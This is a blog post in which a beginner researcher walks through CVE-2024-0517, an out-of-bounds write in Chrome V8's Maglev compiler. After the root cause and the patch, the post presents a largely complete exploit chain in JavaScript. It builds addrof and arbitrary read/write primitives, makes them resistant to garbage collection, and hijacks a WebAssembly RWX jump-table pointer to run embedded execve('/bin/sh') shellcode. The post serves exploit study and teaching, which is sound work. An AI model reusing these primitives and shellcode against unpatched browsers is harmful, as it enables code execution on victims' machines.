CVE-2024-0517 Chrome V8 Out of Bounds Write
Introduction
In this blog, we look into a vulnerability in Chrome V8, CVE-2024-0517. This vulnerability occurs when Maglev, the JIT compiler of V8, compiles a class that has a parent class.
Since I’m a beginner in the cybersecurity field and this is my first time analyzing a 1-day exploit, I had a lot of difficulty understanding it. Therefore, I’ll explain this vulnerability step by step.
Environment Configuration
The version that I used is as follows:
chrome v8 12.0.267.15
# install depot_tools
cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=$HOME/depot_tools:$PATH
echo 'export PATH=$HOME/depot_tools:$PATH' >> ~/.zshrc
# get V8
cd ~
fetch v8
cd v8
git checkout e73f620c2ef1230ddaa61551706225821a87c3b9
gclient sync -D
# build V8
./build/install-build-deps.sh
gn gen out/debug --args='v8_no_inline=true v8_optimized_debug=false is_component_build=false v8_expose_memory_corruption_api=true'
ninja -C out/debug d8
./tools/dev/gm.py x64.release
# install gdb plugin
echo 'source ~/v8/tools/gdbinit' >> ~/.gdbinit
Preliminary Knowledge
In this section I’ll explain some essential preliminary knowledges needed to understand vulnerability.
The first three points are very important, and the remaining content helps in understanding the entire vulnerability by being aware of the memory structure.
V8 engine

V8 is composed of various components such as Ignition, Maglev. I organized some features about them.
- Parser : converts Javascript code to AST structure
- Ignition : coverts AST structure to bytecode directly when code executes
- Sparkplug : compile and optimize bytecode without any analysis
- Maglev : compile and optimize bytecode with static analysis
- Turbofan : compile and optimize bytecode with dynamic analysis The purpose of optimizing code is to ensure that subsequent executions are faster because the generated code will be reused in future calls.
In the Vulnerability Exploitation Flow section, I’ll outline the process leading to the weak point.
Allocation Folding
Allocation Folding is a technique that improves performance and reduces memory overhead. It folds multiple allocation to a single one, so next allocation will be positioned with the offset by first allocation(AllocateRaw node). For example, if there are two allocations with amounts of 12 bytes and 88 bytes, Maglev folds them to one allocation with 100 bytes and the second allocation will be allocated on FirstAllocate_addr+12 (because the first requests 12 bytes).
Garbage Collection
Garbage Collection is a memory management process that frees object without any reference.
In v8 there are two Garbage collector, minor GC and major GC. If semi-space(from-space) is filled fully, minor GC runs and frees needless object. Conversely, it is applied in the same way. And if an object survives after running twice of garbage collection, it will be moved into old space.
I recommend to read this blog that is perfect to learn about garbage collection. https://deepu.tech/memory-management-in-v8/
The Vulnerability
When V8 compiles a derived class, the current_raw_allocation pointer is not initialized, leading to unintended memory allocation and potentially causing an out-of-bounds(OOB) write.
The above content means that v8 calls VisitFindNonDefaultConstructorOrConstruct function. About this function I’ll explain in Vulnerability Exploitation Flow section.
The Proof of Concept code is on here
If you run this code, it results :
$ ~/v8/out$ ./debug/d8 --max-opt=2 --allow-natives-syntax --expose-gc --jit-fuzzing ./code0810/poc.js
#
# Fatal error in ../../src/objects/free-space-inl.h, line 75
# Check failed: !heap->deserialization_complete() || map_slot().contains_map_value(free_space_map.ptr()).
#
#
#
#FailureMessage Object: 0x7ffcb71ef328
==== C stack trace ===============================
./debug/d8(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x5be5e179afde]
./debug/d8(+0x8c0960d) [0x5be5e179560d]
./debug/d8(V8_Fatal(char const*, int, char const*, ...)+0x1ac) [0x5be5e176b53c]
./debug/d8(v8::internal::FreeSpace::IsValid() const+0xdf) [0x5be5dde6ceef]
./debug/d8(v8::internal::FreeSpace::next() const+0x1d) [0x5be5dde6baad]
If you want :
- Debugging =>
./debug/d8 (option) ./code/poc.js
- Release =>
./x64.release/d8 (option) ./code/poc.js
I frequently use options like :
--allow-natives-syntax
=> allow using debugging symbol--print-maglev-graph
=> show maglev-IR-graph that maglev has compiled
(other options : --max-opt=2 --expose-gc --jit-fuzzing
)
If you set a breakpoint before allocate array a and after that, you can see the memory corrupt by allocation folding of array a.
ExtendOrReallocateCurrentRawAllocation
This function represents methods to do allocation folding with “current_raw_allocation” pointer.
/* src/maglev/maglev-graph-builder.cc:8520 */
ValueNode* MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation(
int size, AllocationType allocation_type) {
if (!current_raw_allocation_ ||
current_raw_allocation_->allocation_type() != allocation_type ||
!v8_flags.inline_new) {
current_raw_allocation_ =
AddNewNode<AllocateRaw>({}, allocation_type, size);
return current_raw_allocation_;
}
int current_size = current_raw_allocation_->size();
if (current_size + size > kMaxRegularHeapObjectSize) {
return current_raw_allocation_ =
AddNewNode<AllocateRaw>({}, allocation_type, size);
}
DCHECK_GT(current_size, 0);
int previous_end = current_size;
current_raw_allocation_->extend(size);
return AddNewNode<FoldedAllocation>({current_raw_allocation_}, previous_end);
}
Patch
To prevent this weakness, initialization of that pointer has been added to the source code.
This vulnerability was patched in version 12.0.267.16. You can verify this using “git diff”.
git diff fbc4963bbff79ae2ef36821f870295f488cb497b e73f620c2ef1230ddaa61551706225821a87c3b9
Vulnerability Exploitation Flow
To understand about vulnerability it will help that draw a flow.
The Exploitation flow is :
1) Execute javascript code on V8 engine
2) V8 convert source code to AST structure. In this part, Parser converts super(); function as a call node with Super type.
3) Ignition calls “VisitCall” function when interpretes a call node. And as this node has super type, in the end Ignition makes an “FindNonDefaultConstructorOrContruct” instruction.
4) Since this source code is marked as “hot” code, Maglev starts to optimize and compile. Maglev puts a word “Visit” in front of instruction, and calls function in Maglev’s source code(i.e. VisitFindNonDefaultConstructorOrConstruct).
5) When Maglev builds an allocation of object, there is no initialization of “current_raw_allocation” pointer. That is a root cause of this vulnerability.
6) As seen at poc code, we will make a garbage collection with “[1]=dogc();” after allocation of x array, all alived objects are moved into old space.
7) Now it is turn to allocate a array. Given that the position to allocate x array has already decided with “this object + offset”, a array will be allocated in unintended address of memory (OOB Write).
Exploitation
Triggering the Vulnarability
I used the code on exodus blog. For the reason that doesn’t trigger well the vulnerability, I tried to change number of times and size of array for garbage collection.
After triggered vulnerability, memory structure in our environment is same with this that we will see on Addrof primitive part.
Before analyzing the full-exploit code is here.
Attention : I tried to make the stable code, but I didn’t success. This means that my code doesn’t exploit well. The vulnerability is always triggered, but the positions of a array and rwarr arr aren’t sufficient to exploit ( addr_a < addr_rwarr ). The other things don’t have any problem.
This issue has been resolved. I added a garbage collection after allocating rwarr array. This makes certainly that the rwarr is positioned after a array with a difference of 0x58 between two arrays.
This is the code modified :
+ let rwarr = [1.1, 2.2, 2.2];
+ dogc_flag = true;
+ dogc();
//------------------addrof primitive-----------------
function addrof_tmp(obj) {
x[0] = obj;
f64[0] = a[0];
return u32[0];
}
let addr_a = addrof_tmp(a);
- let rwarr = [1.1, 2.2, 2.2];
let addr_rwarr = addrof_tmp(rwarr);
//---------------------------------------------------
//code for checking address and getting difference between arrays
+ console.log(addr_a.toString(16));
+ console.log(addr_rwarr.toString(16));
+ console.log((addr_rwarr-addr_a).toString(16));
Exploit primitives
Now we made in OOB write in heap, using that we will implement some primitives that lead to exploit.
I will explain mainly the machanisms of primitives.
And in this part we will use corrupted memory to create an another bunch of objects that will be able to resist against garbage collection in future.
Initial Addrof Primitive
This primitive is very intuitive. Seeing the image of memory structure, we could analyze immediately.
Using an OOB wirte, we could make a type confusion between two objects(x array & a array) with different types.
The first one has a PACKED_ELEMENTS type. And the other one has a PACKED_DOUBLE_ELEMENTS type.
An array object that has PACKED_ELEMENTS stores “Object” or “Integer”.
Same thing with PACKED_DOUBLE_ELEMENTS stores “Float value”.
We know that their elements have same address in heap. Furthermore an overlapped memory is read differently. If we store an object at x[0], x array reads that memory as an object. However a array reads as a float value, that means we could leak the address of stored object.
Change length of a array
This part is similar that we did in previous primitive. Setting x[5] to 0x10000, ‘array x’ reads here for integer(0x10000), but for ‘array a’ here is a memory that indicates size of the array. Therefore size of array a is changed to 0x10000 and we could use it as modified size.
Initial Write Primitive
Considering only the case addr_a < addr_rwarr, obtain offset between their adresses. And this offset will be used to corrupt elements field of rwarr array. Why we want to write this point? If we read a value of rwarr array after corrupting elements field, rwarr tries to find the value going to pointer of elements filed.
In other words, if we write a value in rwarr array, it will be stored in elements of corrupted pointer.
GC Resistance
We recognize that there is garbage collection. If heap is filled, Garbage collector will be executed and it cleans or shifts some objects. Then the offset obtained becomes useless. For this reason, we allocate some objects and move them to old space using GC, and corrupt the objects with Initial primitives. After, fix the objects in young space(a & rwarr array). In this way Garbage Collector doesn’t realize corruption and we obtain stable primitives.
The following code shows this :
//create 3 objects
let changer = [1.1,2.2,3.3,4.4,5.5,6.6]
let leaker = [1.1,2.2,3.3,4.4,5.5,6.6]
let holder = {p1: 0x1234, p2: 0x1234, p3: 0x1234};
//get addr of objects
let changer_addr = addrof_tmp(changer);
let leaker_addr = addrof_tmp(leaker);
let holder_addr = addrof_tmp(holder);
//corrupt that objects
u32[0] = holder_addr;
u32[1] = 0xc;
let original_leaker_bytes = f64[0];
u32[0] = leaker_addr;
u32[1] = 0xc;
v8h_write64(changer_addr+0x8, f64[0]);
v8h_write64(leaker_addr+0x8, original_leaker_bytes);
//fix the corruption to the objects in Old Space
x.length = 0;
a.length = 0;
rwarr.length = 0;
After executing above code, the memory structure of three objects(changer, leaker, holder) is as follows :
Short explanation :
- changer[0] == elements and size of metadata of leaker(0x1c559d & 0x1c55a1)
- leaker[0] == elements and in-object property 1 of metadata of holder(0x1c55ed & 0x1c55f1)
Final Read/Write Primitives
Changing Changer[0] leads to point the value where we want with leaker array.
If we read it, this will be read primitive.
Else we write it, this will be write primitive.
And the code for these primitives are :
function v8h_read64(addr) {
original_leaker_bytes = changer[0];
u32[0] = Number(addr)-8;
u32[1] = 0xc;
changer[0] = f64[0];
let ret = leaker[0];
changer[0] = original_leaker_bytes;
return f2i(ret);
}
function v8h_write(addr, value) {
original_leaker_bytes = changer[0];
u32[0] = Number(addr)-8;
u32[1] = 0xc;
changer[0] = f64[0];
f64[0] = leaker[0];
u32[0] = Number(value);
leaker[0] = f64[0];
changer[0] = original_leaker_bytes;
}
Final Addrof Primitive
Lastly we store target object in in-object property of holder and read that memory with leaker to obtain address as raw pointer.
The code for addrof primitive is as follows :
function addrof(obj) {
holder.p2 = obj;
let ret = leaker[1];
holder.p2 = 0;
return f2i(ret) & 0xffffffffn;
}
Bypass ubercage with WebAssembly
To bypass ubercage, the mitigation of V8, we could use WebAssembly.
The region that hold WebAssembly code has RWX permissions. And this region is observed when WebAssembly instance is created. To execute WebAssembly function v8 uses the 64 bit raw pointer to RWX region that is stored close-by Instance. The pointer is called only once to initilize WebAssembly function. Therefore we could think creating two WebInstances and use them one for saving shellcode and another one for corrupting the 64 bit pointer to shellcode. Offsets are different by version, then you have to check offset in your environment.
Store Shellcode
Firstly we store shellcode in rwx region. As we create a WebAssembly instance RWX region will be generated. Then execute WebAssembly function to store WebAssembly binary(that has shellcode) into that region.
let shell_wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 17, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 133, 1, 1, 130, 1, 0, 65, 0, 68, 0, 0, 0, 0, 0, 0, 0, 0, 57, 3, 0, 65, 0, 68, 106, 59, 88, 144, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 115, 104, 0, 91, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 98, 105, 110, 89, 235, 11, 57, 3, 0, 65, 0, 68, 72, 193, 227, 32, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 1, 203, 83, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 137, 231, 144, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 49, 246, 72, 49, 210, 235, 11, 57, 3, 0, 65, 0, 68, 15, 5, 144, 144, 144, 144, 235, 11, 57, 3, 0, 65, 42, 11
]);
let shell_wasm_module = new WebAssembly.Module(shell_wasm_code);
let shell_wasm_instance = new WebAssembly.Instance(shell_wasm_module);
let shell_func = shell_wasm_instance.exports.main;
shell_func();
let shell_wasm_instance_addr = addrof(shell_wasm_instance);
let shell_wasm_rwx_addr = v8h_read64(shell_wasm_instance_addr + 0x48n);
let shell_func_code_addr = shell_wasm_rwx_addr + 0xB40n;
let shell_code_addr = shell_func_code_addr + 0x2Dn;
When I investigate about WebAssembly code I had got problems to find information of it.
Therefore I explain things all I know here.
- Where is RWX pointer? :
It is jump_table_start of WebAssembly Instance.
- Why offset is 0x48? :
Difference between adresses of instance and jump_table_addr is 0x48. - What means 0xB40 and 0x2D? :
If you watch change of memory in rwx region to debug, you will see where starts WebAssembly binary(0xB40) and also shellcode(0x2D).
RIP control
Second WebAssembly code is sufficient, if you can just execute it.
This time we corrupt rwx pointer of this instance.
Then if we call WebAssembly function at first, it tries to call jump_table to initialize, by reason of the corrupted rwx pointer RIP moves to shellcode.
Keep in mind that I said in second line, you don’t have to analyze the code at bottom. Try to make your WebAssembly code and to execute normally.
const tbl = new WebAssembly.Table({
initial: 2,
element: "anyfunc"
});
const importObject = {
imports: { imported_func : (n) => n + 1, },
js: { tbl }
};
var wasmCode = new Uint8Array([
0,97,115,109,1,0,0,0,1,15,3,96,1,124,1,124,96,2,124,124,0,96,0,1,125,2,36,2,7,105,109,112,111,114,116,115,13,105,109,112,111,114,116,101,100,95,102,117,110,99,0,0,2,106,115,3,116,98,108,1,112,0,2,3,3,2,1,0,7,21,2,4,109,97,105,110,0,1,10,109,97,107,101,95,97,114,114,97,121,0,2,10,31,2,22,0,68,144,144,144,144,72,137,16,195,68,204,204,204,204,204,204,233,67,26,26,11,6,0,32,0,16,0,11
]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule, importObject);
let wasmInstance_addr = addrof(wasmInstance);
let RWX_page_pointer = v8h_read64(wasmInstance_addr+0x48n);
let func_make_array = wasmInstance.exports.make_array;
let func_main = wasmInstance.exports.main;
wasm_write(wasmInstance_addr+0x48n, shell_code_addr);
func_main();
Running Shellcode
Conclusion
It is my first time to analyze 1-day Exploit. Hence I bumped into many problems to investigate and analyze. I aspirate that this blog will help you especially for a beginner.
Thank to watch my blog.
Leave a comment